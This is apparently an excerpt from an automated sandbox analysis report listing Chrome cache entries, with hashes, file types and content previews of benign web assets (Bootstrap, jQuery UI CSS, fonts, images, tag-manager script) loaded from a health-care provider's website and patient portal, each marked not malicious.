SHA-512:	FAB970B250DD88064730BD2603C530F3503ABB0AF4E4095786877F9660A159BF4AD98C5ABEA2E95EB39AE8C13417736B5772FCB9F87941FF5E0F383CB172997F
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......>0.......T..=..........................d.....^.`.. .\..<.................6.$.... .... ..S.!.%c.......\|y...6..;.s#.....x_<..o..........l...J.`p.m..6...h....U.pD...R.J.$...W..`7w...[..qD....<P......J.x.+J-^....va...:.KW..Ph...."....{.W4C....p..1..........CH.....P.............Q%.=.F.....1.%J....d..X..J.<AU..b.N...<l...d...f..^Y..]..&...VQ.<.....F..{.....&{.+J;.... .2P.:.5..?.o.\|....V[t..M..#..d.fv...........4..`.).h..h......@u........4......~.....r.B...p1.P.T..<....r....Y..8...GQ1.t.....%..-Wh..:W.....1l-...@..hL}...lN.._.j...D`..sn.=(...W..?.Z..p.52..H...X...)..CJ...V..7.....<\|..i...{...R.M+[..\|..x-..M3...~!\.l6}.T.o.R'$.)..-.W.T....A...5?.{.2.bR.../....*l..;...{..I>.n..MJ.2........U&. ..(L]].%P.$..p59.LD.f.........V.....z.5~.2\......#.4....9_....%wp.OU.0.....CK..../.x. ..A2e...@...(.i..f./.....`1.......!......@....0 vbt.e v./!...N=>:..A...(...f....?.....iH.F..!k.6.O6S..54.^c..2.G.?6....)b......lv.,h....Y.}.?..uk....L.4d.g..6.\.1u..

Chrome Cache Entry: 565

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65294), with CRLF line terminators
Category:	downloaded
Size (bytes):	78749
Entropy (8bit):	5.179198196991033
Encrypted:	false
SSDEEP:	1536:rO+1ZTPR2t4tXbih05ve8/pwgrEpc9t0vSAIAxCR:JFRIpk0vSAu
MD5:	189F332ECDD3D42E781939666518E92F
SHA1:	6584CD9D44D7A886AB89378A34D3BA8E46577124
SHA-256:	2955219ABCB2F853BCBBB5F6FD16FCC8B750B36DC962686279C9523F7A5E2F64
SHA-512:	7C14C2A5AFF0C1811AAFD31C1F068D9C7DE6DE892495A762CBA7129836AD147676DD4C9F062930EDD0590E77063396D197C9DF1BD6A5DB7B4D7D6ABE32DE97AE
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/js/bootstrap.bundle.min.js
Preview:	/!.. Bootstrap v5.0.2 (https://getbootstrap.com/).. * Copyright 2011-2021 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors).. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE).. */..!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap=e()}(this,(function(){"use strict";const t={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter(t=>t.matches(e)),parents(t,e){const i=[];let n=t.parentNode;for(;n&&n.nodeType===Node.ELEMENT_NODE&&3!==n.nodeType;)n.matches(e)&&i.push(n),n=n.parentNode;return i},prev(t,e){let i=t.previousElementSibling;for(;i;){if(i.matches(e))return[i];i=i.previousElementSibling}return[]},next(t,e){l

Chrome Cache Entry: 566

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (21655), with no line terminators
Category:	downloaded
Size (bytes):	21655
Entropy (8bit):	5.002524547173331
Encrypted:	false
SSDEEP:	384:uxTFunZ47tw4CACIH1xEPJ2qwMrb9UfU9ODGG6BpDSmTSokAF4:uxTFa4hw4CACMxEh2g/9c63pmokAF4
MD5:	1EB932ED7F38625FEEE137EBC21E943C
SHA1:	5789BC3A7DD6EE3F82006D939D77352F8B9F6660
SHA-256:	62A462362CD022217EFBC5D1C34C9801CA2AAE178E88F8730AC2D19F47044662
SHA-512:	D61EFBDF78DE54914B1D0C695AE849B5C20A3966557861F5FF89D0D1768D1903F583B45AC69C73A1DA088C076FC9470B8D0CB03990D8CB8A57F83FE5CEDD659D
Malicious:	false
Reputation:	low
URL:	https://calendar.google.com/calendar/_/web/calendar-static/_/ss/k=calendar-web.embed.YnXjO0wW19U.L.W.O/am=wA/d=0/rs=ABFko38UoH-5tl5ofVBYwngmVDtsx_5cmQ
Preview:	.agenda{background:white}.agenda-padding{font-size:1px;line-height:1px;height:6px}.agenda .scrollbox{overflow:auto;overflow-x:hidden;overflow-y:auto;border-top:0 none;border-left:0 none;border-bottom:1px solid #bcf;background-color:white;margin-top:6px}.agenda-scrollboxBoundary{background-color:#e3e9ff}.agenda .event{clear:both;cursor:pointer;border-top:1px solid #cde;margin:0}.agenda .day{border-bottom:1px solid #cde}.agenda .event-summary,.agenda .event-summary-expanded{white-space:nowrap}.agenda .event-details{display:block;float:none;clear:both;cursor:default;padding:0}.agenda .event-description{white-space:pre-wrap}.agenda .event-details-inner{padding:0 0 .3em 0}.agenda .event-details,.agenda .event-summary,.agenda .event-summary-expanded{margin:.3em 1em}.agenda .add-icon{float:right;padding-left:1em;display:block}.agenda .event-time{display:block;width:3.5em;margin:0;padding:0;float:left}.agenda .all-day .event-time{display:none}.agenda .event-title{display:block;clear:none;white

Chrome Cache Entry: 567

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2515)
Category:	downloaded
Size (bytes):	37756
Entropy (8bit):	5.316280601145231
Encrypted:	false
SSDEEP:	192:10OW0dCbMiEt7b6l2nobrGtUQnSMfps3+eYQY+h572hk//r8Y5Y6BjSmMErEURHx:pCwiEt7b/ovaW1e07NPiF5fy/E9DS25A
MD5:	FF17F805D10CED6B602341F515564F97
SHA1:	E412A3D00713A7B0A43CE2ECD31E15559CA07339
SHA-256:	5F69593BFE3B483204ABDFE89AF07A3B753E92D9E437253E468E786FC35F6832
SHA-512:	4CFC6D1F03FDDB394A407624A4B2FB8237153544A11801CDA6D841450945CE2EFA7E5DEEEBA9762762885CB6E3D0B580487871255368080A5FD13C1401E9C3D0
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/newui/css/jquery-ui.css
Preview:	/! jQuery UI - v1.12.1 - 2016-09-14. http://jqueryui.com.* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css.* To view and modify this theme, visit http://jqueryui.com/themeroller/?bgShadowXPos=&bgOverlayXPos=&bgErrorXPos=&bgHighlightXPos=&bgContentXPos=&bgHeaderXPos=&bgActiveXPos=&bgHoverXPos=&bgDefaultXPos=&bgShadowYPos=&bgOverlayYPos=&bgErrorYPos=&bgHighlightYPos=&bgContentYPos=&bgHeaderYPos=&bgActiveYPos=&bgHoverYPos=&bgDefaultYPos=&bgShadowRepeat=&bgOverlayRepeat=&bgErrorRepeat=&bgHighlightRepeat=&bgContentRepeat=&bgHeaderRepeat=&bgActiveRepeat=&bgHoverRepeat=&bgDefaultRepeat=&iconsHover=url(%22images%2Fui-icons_555555_256x240.png%22)&iconsHighlight=url(%22images%2Fui-icons_777620_256x240.png%22)&iconsHeader=url(%22images%2Fui-icons_444444_25

Chrome Cache Entry: 568

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3135)
Category:	downloaded
Size (bytes):	12742
Entropy (8bit):	5.393982901033924
Encrypted:	false
SSDEEP:	192:kK/jPjtTRDU/gA/MG2r5Vr8F4rtrNurI/OZI3g/I2/T/c/U:kgjPbAxfFKBp3ggi7sU
MD5:	1EE95F918D49C7663EE489E105F5E311
SHA1:	B165C1B09C07F46832C39465B619D0C2B45A854D
SHA-256:	08642DA75E8EF49978EE1DB94821C59C40F169B3D984DB60D3AF6F689EE5B7F0
SHA-512:	A54A018448EFFEF790416CD9DD87D8A21DE215A655C5855258A6BCE9919630A72756B5D4301449BACCC32EDB27D5178909169F75FBBCCBECD9EC6DF3246C6B28
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=13.6
Preview:	.wprevpro_t1_outer_div{padding:0;margin:0 0px 0 0px}.wprevpro_t1_DIV_1{box-sizing:border-box;color:#fff;text-size-adjust:100%;column-rule-color:#fff;perspective-origin:277.5px 115px;transform-origin:277.5px 115px;border:0 none #fff;font:normal normal normal normal 13px/20.8px "Helvetica Neue",Helvetica,Arial,sans-serif;outline:#fff none 0;margin-bottom:20px;margin-top:10px}.wprevpro_t1_DIV_2{bottom:0;box-shadow:rgba(0,0,0,.0980392) 2px 2px 2px 0;box-sizing:border-box;color:#fff;height:auto;left:0;position:relative;right:0;text-size-adjust:100%;top:0;column-rule-color:#fff;perspective-origin:277.5px 69px;transform-origin:277.5px 69px;background:#fff none repeat scroll 0 0/auto padding-box border-box;border:1px solid #f5f5f5;font:normal normal normal normal 13px/20.8px "Helvetica Neue",Helvetica,Arial,sans-serif;margin:0 0 25px;outline:#fff none 0;padding:20px 25px 20px 48px}.wprevpro_t1_DIV_2:after{bottom:-30px;box-sizing:border-box;color:#fff;content:'';display:block;height:30px;left:8

Chrome Cache Entry: 569

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2165)
Category:	downloaded
Size (bytes):	183051
Entropy (8bit):	5.523464986828503
Encrypted:	false
SSDEEP:	3072:eDhzgNSNow8VNeAh8rF1+TYc2HqCWDe5L+aVsQCQ4p:ChewMNMqNDe5LfV9CQO
MD5:	819349D0D4389213819EBC740321E857
SHA1:	9FBAB38A725FE6E3AC1484D15C546C30AF89B204
SHA-256:	C54150BC14209656C95D8263B363B6C90CC76EBA415AE99E16A6B65B56B8C12D
SHA-512:	3FF194AA1021CA51B6DC7E61C4D1B7095D2F4F94D54026DABC1D00076B869F478F2CA03284D10EE0F9ADE1992E129A3E4F16DF3D509101E3E11072E2081ADB97
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-M6GP474
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"3",. . "macros":[{"function":"__e"},{"function":"__aev","vtp_varType":"TEXT"},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__f","vtp_component":"URL"},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__e"},{"function":"__v","vtp_name":"gtm.element","vtp_dataLayerVersion":1},{"function":"__v","vtp_name":"gtm.elementClasses","vtp_dataLayerVersion":1},{"function":"__v","vtp_name":"gtm.elementId","vtp_dataLayerVersion":1},{"function":"__v","vtp_name":"gtm.elementTarget","vtp_dataLayerVersion":1},{"function":"__v","vtp_name":"gtm.elementUrl","vtp_dataLayerVersion":1}],. "tags":[{"function":"__cl","tag_id":11},{

Chrome Cache Entry: 570

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	82
Entropy (8bit):	4.342540020711713
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+DtmyTQixqtQAltjp:6v/lhPfkCDtmyT3xWVXjp
MD5:	272E7FE9A92E7D800DF94406429E31B5
SHA1:	AE64BBDCC69A9D29090A26B9F6E20AE9DA04662C
SHA-256:	E91C50EBBDA61015CB1EE8070CC7A758D048B76084956A1A3995BFF1A6D8C9B4
SHA-512:	607E1DB4EA89F3BB1445B00D343B9B38A21BC25ED551817C2C28EE3E0A678A6170A01487C4760979D6EA1041B658125788C45234B37D58FDD3A3373262E9047B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/images/img__empty.png
Preview:	.PNG........IHDR.............%.V.....PLTE...........IDAT..c`........5.....IEND.B`.

Chrome Cache Entry: 571

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 11 tables, 1st "OS/2", 14 names, Macintosh, type 1 string, healow
Category:	downloaded
Size (bytes):	66080
Entropy (8bit):	5.938369485795294
Encrypted:	false
SSDEEP:	1536:hJfUJIIuBL2b4Sed18IdsCJGpjzKmzDj:hJfUJvACb4SeX8C4XKmz
MD5:	3316504BEBED4537C27395488B1C96E1
SHA1:	D33736FE7C4386F4611754AFFC3760E82F69DBC4
SHA-256:	B5B39A958E48CFF5DC7605BCFDD337AACE6696F37872C03F39C972F404FAEAB2
SHA-512:	A9E86C7825DBD41E4429A9A50A017479F8F2E96A63A1EE9B40716EDFA7774657CF8F5CAF662E285E66A409C36FBC78413EB593E16CEB01B995F7BA0814C8F107
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/assets/fonts/healow.ttf?qd9atp
Preview:	...........0OS/2...........`cmap.V.........Tgasp.......p....glyfXa....x...$head...........6hhea...........$hmtx.f..........locavR..........maxp.......d... name..........zpost........... ... .......................3...................................@...b.....@...@............... .................................8............. .b......... ................................................79..................79..................79...............!.0.H.].m.~..........%"'..'&547>.7632......1......#8.9.."....326514&#1.8.1"&515>.32..1.8.1..#1.8.1"&515>.32..1...#1.#"&5463132....#!#"&5463132....#1."&546?.>.32.....1...#8.9.."&546717>.32.....1...#1."&'1'..54632..1......#8.9.."&'1'..54632..1......#1..6./F....F//55//F....F//5MllMLllL......................F....F......E....E....A....3.......3....o....3.......4........1.......2.....g...0.......0.......F//56//F....F//65//F....lMLllLMk.L..B....B...m..J....J...k.......................3.......2...m.....3.......3.....2.......2........./......./............

Chrome Cache Entry: 572

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1538
Entropy (8bit):	5.121730928761434
Encrypted:	false
SSDEEP:	24:YMxPtegisERpK12prl5lR4hmP+AxaF+xAVVL+xA2sUS5wsdlAiV47L3a/:YMZizC12Jl5lR4hm38LVxxxbuMAm4na/
MD5:	6ABA559AFCF8291C518DF6FA4C481556
SHA1:	F0FDC630690835399E64D31948FC49881CF03F95
SHA-256:	53A7946C1525264F5376C9621234F8B15B5742508C8F987506144B88341D5FBE
SHA-512:	CD32DF8C232BC42D0ED0B805DEDEF3B08DC647449CB33A5D8B8CA3AA7E90947911F5FE3CAA0A9AE7A67C47A3DCDC12F3168128DFC13F50D152C2D61321AA8F81
Malicious:	false
Reputation:	low
URL:	https://listgrowth.ctctcdn.com/v1/118aade4e91f193939b45ed0d3280360.json
Preview:	{"privacyUrl":"https://www.constantcontact.com/legal/customer-contact-data-notice","finePrintText":"marketing emails","companyName":"Company or Organization Name","physicalAddress":{"addressLine1":"777 S Main St","addressLine2":"Suite 100","addressLine3":null,"city":"CLINTON","stateCode":"IN","stateName":null,"postalCode":"47842","countryCode":"us"},"orgWebsite":"null","customPrivacyPolicyUrl":"null","forms":[{"name":"Inline Form Created 2024/02/20, 04:24:59 PM","type":"INLINE","status":"ACTIVE","config":"{\"language\":\"en_US\",\"contactFields\":[{\"type\":\"email_address\",\"selected\":true,\"required\":true,\"customField\":false}],\"emailLists\":[{\"id\":\"b7c927e6-cce0-11ee-840a-fa163edfbcfb\",\"label\":\"Newsletter Form\"}],\"title\":{\"text\":\"Sign up for our newsletter!\",\"color\":\"#0e1e4d\"},\"background\":{\"color\":\"#ffffff\"},\"description\":{\"text\":\"Get news from Valley Professionals in your inbox.\",\"color\":\"#0e1e4d\"},\"button\":{\"text\":\"Sign up!\",\"color\":

Chrome Cache Entry: 573

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 3
Category:	dropped
Size (bytes):	28215
Entropy (8bit):	7.970857764034912
Encrypted:	false
SSDEEP:	768:ankEBQfDApeIhq1EQOmbK6hmeTwaGwqbMW0C0p:ankkpunrWgp
MD5:	35A3F3DFAD3EC97206D70F9484132495
SHA1:	756A38132DEE00797A01D153227F124F0EB31490
SHA-256:	3C34C85379F1ABD7EDA8B1ACED60C418A12D5276CB713793B0E5A485898D7463
SHA-512:	26441AF2EF69E2160161BB74D6B5990B0A00BD2F005806B7BF85C55AECE3EC4A219F41E4ECE50A46E7076D5E35866A81B2903DAF732FC36A7D44DB2C21BE035B
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C.......................................................................,.,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....}....d/.p...u5.}.%.CehVy.UF..Z..m/u.fX..APZg?+c......jZu.D...>.n. ..x.....7=;N....-.\;.......O?.=n.\|.#.F].?x.;......y&...F.x..].YR..rz.+....v..`...%.;.d~..j.i.=.oU..g[..g(.IdO.....s...\5.[HFSc!.....]'....YEu.7..........SYD..$6.N.......$.....=.-nY..+#6........<3i...a..A.[.....>.....X... KuW.'.......h!......n.(&..o...N4.......g....-BI!....W..9*6.q.

Chrome Cache Entry: 574

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 18, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	90
Entropy (8bit):	5.125258058768364
Encrypted:	false
SSDEEP:	3:yionv//thPlnlJ/dvNpCbllkup:6v/lhPZVloTkup
MD5:	7D59CED973004E150B6F6740D0E031DE
SHA1:	930CF1DC938155E7BB7D4953C3FD81CB7854650F
SHA-256:	175599178339326734B6C9C9A443754FEBDA1DA2AE01B57C2A4636A7118C3D33
SHA-512:	BF6984D95DA6F0ACD7A2C6A0F4CF8A901E4B51C80DA025AD6106602C1BCEAAD5EA4C0BB591CD4B800FD27FE05D16AA338F1D061D6BC92AB71746F4044D513368
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...................!IDATx.c.i.I.........../ S.H.....K._3}.......IEND.B`.

Chrome Cache Entry: 575

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (440), with CRLF line terminators
Category:	downloaded
Size (bytes):	52048
Entropy (8bit):	5.221107918855594
Encrypted:	false
SSDEEP:	384:o29D83uRnr4rMD59z80QBJIcohHwiWFYvJesvso+hwtjyO+NPv8v1tguIQ1q0KSi:v8elD/8fIcoQiv40BxvmXaAqFU
MD5:	6EDDC69D741E320DDCDE84EF6A3CEC45
SHA1:	7C36E06BF037361EB390821EC4D385BBBFA90FA2
SHA-256:	29F7252E971B226F2BDC88E5AC4C8C5D6E4FFA169C5A775E669833EF1D401650
SHA-512:	57B960B1FBD271D382D26583B98A6F2CCE7FF53AEAEA0A39CA81C6AACE5659E0220071010AD6B3ECFDE876DD756898056B3FF855CE71ABC3A277633A84969437
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/bt_cost_calculator/jquery.dd.js
Preview:	// MSDropDown - jquery.dd.js..// author: Marghoob Suleman - http://www.marghoobsuleman.com/..// Date: 10 Nov, 2012..// Version: 3.2..// Revision: 21..// web: www.marghoobsuleman.com../..// msDropDown is free jQuery Plugin: you can redistribute it and/or modify..// it under the terms of the either the MIT License or the Gnu General Public License (GPL) Version 2../..var msBeautify = msBeautify \|\| {};..(function ($) {..msBeautify = {...version: {msDropdown:'3.2'},...author: "Marghoob Suleman",...counter: 20,...debug: function (v) {....if (v !== false) {.....$(".ddOutOfVision").css({height: 'auto', position: 'relative'});....} else {.....//$(".ddOutOfVision").css({height: '0px', position: 'absolute'});.....$(".ddOutOfVision").css({height: '0px', position: 'relative'});....}...},...oldDiv: '',...create: function (id, settings, type) {....type = type \|\| "dropdown";....var data;....switch (type.toLowerCase()) {....case "dropdown":....case "select":.....data = $(id).msDropdown(settings).dat

Chrome Cache Entry: 576

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4985), with no line terminators
Category:	downloaded
Size (bytes):	4985
Entropy (8bit):	5.081182369786906
Encrypted:	false
SSDEEP:	96:9kbWRk6kOk6k9kRkwkfk+Zkt2xkCkKkXkAkIk6kAkIk3x/uzqaRJ43aH7N+OHOhP:eb9l5ley3MpV91UH/lH/kqaRJXE
MD5:	E4BA68ABC5D1E7A9F817533217FEC754
SHA1:	6925B38A7DEA59B2C2103CE9834B16956230962B
SHA-256:	C3CC7FC350464EC308DC04102B3554B20C1761847B21975578C42B0A04B4A294
SHA-512:	FAD373B9BC4870EFD49E76A370CD3129757FF74B22655B26D031E02FA87E08120D4F68F7118209FDEF87EA3BC9A049555F4BC801BFB92123788C2F3ED3F1BC7E
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_tab_with_content.css?ver=230904-91943
Preview:	.acf-block-tab-with-content .tab-navigation .nav-link__text{text-decoration:none;background-image:linear-gradient(0deg,currentColor 1px,transparent 0);background-size:0 100%;background-repeat:no-repeat;padding-bottom:.125rem;-webkit-transition:background-size .4s ease-in-out,opacity .4s ease-in-out;transition:background-size .4s ease-in-out,opacity .4s ease-in-out}.acf-block-tab-with-content .tab-navigation .nav-link__text:focus,.acf-block-tab-with-content .tab-navigation .nav-link__text:hover{background-size:100% 100%}.acf-block-tab-with-content .tab-navigation .nav-link{color:#0e1e4d}.acf-block-tab-with-content .tab-navigation .nav-link__icon{margin-right:.75rem;-webkit-transition:color .2s ease-in-out;transition:color .2s ease-in-out;min-width:1.25rem;width:1.25rem;height:1.25rem}@media (min-width:576px){.acf-block-tab-with-content .tab-navigation .nav-link__icon{min-width:1.375rem;width:1.375rem;height:1.375rem}}@media (min-width:768px){.acf-block-tab-with-content .tab-navigation .

Chrome Cache Entry: 577

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6344), with CRLF line terminators
Category:	downloaded
Size (bytes):	16292
Entropy (8bit):	5.262260403659704
Encrypted:	false
SSDEEP:	384:xFNv2fy+p30MYXjCrSuTbcJJArBjHV6OVATQdZsoT:52q+p3kFu7jHNATQdZsQ
MD5:	FA3D4B469D665E767864879EE2F0B173
SHA1:	B7EEBDC8876A4095CE1BB9A58A6323322481F97F
SHA-256:	5CD52B40FA3AABB7972BF1137A16CBEFEF3186BD6566615CB582254663A6E3CC
SHA-512:	4B516B0BFC9EAA381454826640C70EE65566DA88B3DE889298AE2F03E4664DCCBAA5FCE8BDE3F1BAD88D3562F43B57A92B199C418CDA841ECE605C62190B0DA4
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=13.6
Preview:	!function(a){"object"==typeof module&&"object"==typeof module.exports?a(require("jquery")):"function"==typeof define&&define.amd?define([],a(window.jQuery)):a(window.jQuery)}(function(a){return a?(a.Unslider=function(b,c){var d=this;return d._="wprs_unslider",d.defaults={autoplay:!1,delay:3e3,speed:750,easing:"swing",keys:{prev:37,next:39},nav:!0,arrows:{prev:'<a class="'+d._+'-arrow prev">Prev</a>',next:'<a class="'+d._+'-arrow next">Next</a>'},animation:"horizontal",selectors:{container:"ul:first",slides:"li"},animateHeight:!1,activeClass:d._+"-active",swipe:!0,swipeThreshold:.2},d.$context=b,d.options={},d.$parent=null,d.$container=null,d.$slides=null,d.$nav=null,d.$arrows=[],d.total=0,d.current=0,d.prefix=d._+"-",d.eventSuffix="."+d.prefix+~~(2e3*Math.random()),d.interval=null,d.init=function(b){return d.options=a.extend({},d.defaults,b),d.$container=d.$context.find(d.options.selectors.container).addClass(d.prefix+"wrap"),d.$slides=d.$container.children(d.options.selectors.slides),

Chrome Cache Entry: 578

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65326)
Category:	downloaded
Size (bytes):	161409
Entropy (8bit):	5.078460309779704
Encrypted:	false
SSDEEP:	1536:iC7AIJkTR+rMqFVD2DEBi8yNcuSElAz/uJpq3SYiLENM6HN26R:d7XXGLq3SYiLENM6HN26R
MD5:	D432E4222814B62DD30C9513DCC29440
SHA1:	2CAC4AFC120983921411296BD4E8FD8A94BA237E
SHA-256:	4FFCC598EE6CFF4692C1CEA272CD8A2F195F6DEC32473E94370D6CDCFA5FE601
SHA-512:	3F9320327D6304DD356AC060534CFAD10938431897A3CEBEC2515A84AAEC41FDFB73D72BA39D7B5B35523CF575B432B3864BB6889D855602FAEF01B4DD21A734
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/ss/newLogin/bootstrap.min.css
Preview:	/!. Bootstrap v4.6.0 (https://getbootstrap.com/). * Copyright 2011-2021 The Bootstrap Authors. * Copyright 2011-2021 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::be

Chrome Cache Entry: 579

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	69
Entropy (8bit):	4.505577225848781
Encrypted:	false
SSDEEP:	3:cEkJEjKJhQJQ5/LTf05SoCWvn:cE88n
MD5:	670CEB20BDFFC3B0AF99A495EB4E34BA
SHA1:	0ED868F92EAD220A111CBAB50B1E1F57124AA34D
SHA-256:	09BC966EA712FC10199648A093BD65444FBC314D988F61BAB7A1B6C5824B3F0C
SHA-512:	294AE006168C59BD0D7F2C0E932A862445D18516861155517BDF02FB37D401F281D871E9B96A95127DBD5C0B316931AFA66BB0072188FABBA986CC1F97BF0BE1
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-bootstrap-blocks/build/style-index.css?ver=5.2.0
Preview:	.wp-bootstrap-blocks-row.row.alignfull{margin-left:0;margin-right:0}.

Chrome Cache Entry: 580

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	109463
Entropy (8bit):	5.003969933669702
Encrypted:	false
SSDEEP:	1536:KXyfxXa66XsHZXMtPX2mgX6s8XEtHXInJXyEGXiumXcLVXMhLXea8XCgIXURzXQt:P434c4b4Y+rVMIfh
MD5:	54A94E42520AF88F30091C491EAEBCCF
SHA1:	487475503AD7855C85726731A244F9159FF235A9
SHA-256:	5E8682DB94E27B1D0605372E1568A9B95E224F80238CC8E999B4CBC7F3C3D92B
SHA-512:	A1092C8288039347EC8B82AC327AF4AF23D76ADB7686455622E1C21E213DE1786A71025C39BA4C61629D7566DB483BB600C1A49A62102887A78ECA7C9C00D77C
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/themes/vpchc/dist/vendor.css?ver=240312-55111
Preview:	[data-aos][data-aos][data-aos-duration="50"],..body[data-aos-duration="50"] [data-aos] {.. -webkit-transition-duration: 50ms;.. transition-duration: 50ms..}....[data-aos][data-aos][data-aos-delay="50"],..body[data-aos-delay="50"] [data-aos] {.. -webkit-transition-delay: 0s;.. transition-delay: 0s..}....[data-aos][data-aos][data-aos-delay="50"].aos-animate,..body[data-aos-delay="50"] [data-aos].aos-animate {.. -webkit-transition-delay: 50ms;.. transition-delay: 50ms..}....[data-aos][data-aos][data-aos-duration="100"],..body[data-aos-duration="100"] [data-aos] {.. -webkit-transition-duration: .1s;.. transition-duration: .1s..}....[data-aos][data-aos][data-aos-delay="100"],..body[data-aos-delay="100"] [data-aos] {.. -webkit-transition-delay: 0s;.. transition-delay: 0s..}....[data-aos][data-aos][data-aos-delay="100"].aos-animate,..body[data-aos-delay="100"] [data-aos].aos-animate {.. -webkit-transition-delay: .1s;.. transition-delay: .1s..}....[data-aos]

Chrome Cache Entry: 581

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	10499
Entropy (8bit):	4.294293328019365
Encrypted:	false
SSDEEP:	192:d/A+LFYFqc7AT8BaW+F6p0+KoZ22eRFz1nxu3YE:yFPyF6l0fBS
MD5:	B12B000351FFCBBF15B45B9D9E2106AC
SHA1:	64DA53293D9D18A3D302F0A3D925CF12ED92070A
SHA-256:	665D5A14649E8C53042DA80BFB711E4EED76879329EAB236F15565A47B20AE88
